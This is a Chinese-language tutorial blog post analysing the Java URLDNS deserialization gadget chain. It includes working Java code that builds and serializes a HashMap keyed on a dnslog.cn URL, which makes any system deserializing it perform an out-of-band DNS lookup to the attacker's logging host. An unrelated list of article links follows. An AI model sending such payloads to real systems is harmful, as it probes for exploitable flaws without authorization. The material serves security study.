URLDNS分析
0x01、概述
之前写的多多少少有点毛病,然后期间做项目什么的,忘的差不多了,就重新再写一下,发到博客上面;URLDNS一般用于探测是否存在反序列化漏洞从而诞生的
在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和 value。所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中。而恰好, URL 这个对象计算 hash 的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求
要构造这个Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap中;然后设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算其 hashCode ,才能触发到后⾯的DNS请求,否则不会调⽤ URL->hashCode()
0x02、demo分析
通过上面构造gadget概述这,我们知道了需要一个URL对象,并作为hashmap的key即可。这时候提出需求
1、需要有java.net.URL对象
2、创建的map中key需要为URL对象
3、需要将HashCode初始值为-1
package org.example;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class test {
public static void main(String[] args) throws MalformedURLException {
HashMap map = new HashMap();
URL url = new URL("http://hb4x89.dnslog.cn");
map.put(url,"edhdhdh");
}
}
我们观察demo,发现没有将初始值设置为-1,依然可以触发dns请求。那么这是怎么回事,我们跟下去看看
入口点为map.put()处,为什么呢?因为map设置值就是用put,同时put方法里有我们想要的东西;我们继续跟下去看看
发现此处putVal()
方法中调用了hash()
。hash这方法干嘛?我也不知道,我们进去看一下就知道了
我们可以发现这是进行了判断,如果为空,则为0;不为空,则进入到后面这个算法中。这时候我们应该想起hashmap的特点
HashMap类:键唯一,键值对存取无序, 由哈希表保证键唯一。hashcode方法返回该对象的哈希码值
这一切就理所当然了,那么我们继续往下看看hashcode()干了什么事
那为什么hashCode=-1呀?
因为URL类中已经定义了hashcode为-1,所以我们就可以直接进入下一条语句中,去调用了新的一个hashcode
![image-20210901150220346](/Users/m1ng/Library/Application Support/typora-user-images/image-20210901150220346.png)
到这里其实就不用调试了,可以看到它这边发起了DNS请求。然而我这边只是一个demo,自己发起的,那么实际中我们得发送payload,让目标去发起请求。
0x03、URLDNS链分析
我们从demo中可以看到main函数里面短短三行就发起了请求,那我们以序列化数据形式呢?思考下我们怎么构造利用链?
1、为什么发起的dns请求?
2、目标类是否可以序列化
其实看demo最后一行,不难猜想到其实就是hashmap的put方法开始。那么我们是不是可以看看hashmap可以被序列化吗
我们看到serializable就可以放心了,说明是可以被序列化,那么我们就开始构造利用链吧
要求一致:
1、需要有java.net.URL对象
2、创建的map中key需要为URL对象
3、需要将HashCode初始值为-1
代码如下:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class test {
public static void main(String[] args) throws MalformedURLException {
HashMap map = new HashMap();
URL url = new URL("http://mq82wx.dnslog.cn");
map.put(url,"edhdhdh");
try{
FileOutputStream fileOutputStream = new FileOutputStream("./urldns_test.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("./urldns_test.ser");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
我们直接将map去序列化出来然后再去通过readObject去进行一个反序列化;通过下面这张图可以知道,这个map,即是我们的载体;
可以发现这边请求了两次,为什么呢?我们看代码其实可以发现,我们在生成序列化数据前,已经进行了一次put了
我们通过这张图可以看出什么?看出调用了HashMap#readObject(),里面则看到了老熟人putVal
发现put方法里面也存在putVal,是不是很奇怪,很疑惑。前面我们调试的是put,接下来怎么就是readObject()??
疑惑归疑惑,我们接下来往下看就知道了,其实我们可以知道readObject()是读取出了key和value
那么我们F7跟进去看看是怎么样子的
发现非常眼熟,就是HashMap中的hash方法,和put中的hash一样。那么结果就不用说了,直接就触发DNS请求了。真的如此吗?
发现这是怎么回事,为什么hashcode不是-1呢?这也就是为什么我们需要设置hashcode的值为-1,多次执行大家就可以发现有时候dns请求了1次,有时候则请求了2次。那么我们得稳定呀,不能这样子搞。那我们想想怎么解决;
解决问题:
1、编译过程不触发DNS请求
2、初始化hashcode值为-1
解决问题1:
因为是私有方法,我们需要通过发射进行修改属性(这个步骤看不懂的建议看看反射)
public class test {
public static void main(String[] args) throws MalformedURLException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
HashMap map = new HashMap();
URL url = new URL("http://m89inc.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); // 修改访问权限
f.set(url,123); // 设置hashCode值为123,这里可以是任何不为-1的数字
System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功
map.put(url,"edhdhdh");
}
}
这时候其实可以发现put已经没有发起dns请求了,但是我们还是调一下看看
发现问题1已经解决了。那么我们在想下问题2怎么解决?其实问题1是通过反射中的set方法设置hashcode的值,那我们干嘛不能通过反射中的set去设置为-1呢?
通过上图我们可以发现其实完全满足了要求了,那我们现在封装到序列化中执行一下看看
完整代码:
package org.example;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class test {
public static void main(String[] args) throws MalformedURLException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
HashMap map = new HashMap();
URL url = new URL("http://u.s84msd.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); // 修改访问权限
f.set(url,111);
//System.out.println(url.hashCode());
map.put(url,"edhdhdh");
f.set(url,-1);
try{
FileOutputStream fileOutputStream = new FileOutputStream("./urldns_test.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("./urldns_test.ser");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
原文地址:https://www.cnblogs.com/0x7e/p/15215101.html
- Java面向对象抽象类案例分析
- 【Java学习笔记之二十三】instanceof运算符的用法小结
- 基础才是重中之重~多线程的代价~我的内存都被吃了!
- 【Java学习笔记之二十八】深入了解Java8新特性
- 【Java学习笔记之二十四】对Java多态性的一点理解
- 【Java学习笔记之二十六】深入理解Java匿名内部类
- 【Java学习笔记之二十五】初步认知Java内部类
- AIM Tech Round 4 (Div. 2)(A,暴力,B,组合数,C,STL+排序)
- 【Java学习笔记之三十】详解Java单例(Singleton)模式
- 基于Windows下处理Java错误:编码GBK的不可映射字符的解决方案
- 浅析ASCII、Unicode和UTF-8三种常见字符编码
- 【Java学习笔记之三十一】详解Java8 lambda表达式
- 2017 Multi-University Training Contest - Team 9 1003&&HDU 6163 CSGO【计算几何】
- 【Code】关关的刷题日记21——Leetcode 485. Max Consecutive Ones
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- leetcode树之二叉树的深度
- Nic*app的native层算法破解
- ActiveMq的顺序性消费问题
- 佳能遭严重勒索软件攻击,10TB数据被窃取,大量服务宕机
- 进程线程剖析(二)-进程组成、状态与特点
- 【Flink】基于 Flink 实时计算商品订单流失量
- 这就是你日日夜夜想要的docker!!!---------TLS加密远程连接Docker
- 【Flink】基于 Flink 的流式数据实时去重
- 从零开始安装穿透式检索
- 使用kind搭建kubernetes
- 如何设计一个牛逼的API接口
- 猿实战17——实现你未必知晓的运费模板
- 这 5 个 VSCode 扩展提高你的开发效率
- 猿实战18——商品发布之类目选择
- 树莓派基础实验1:双色LED灯实验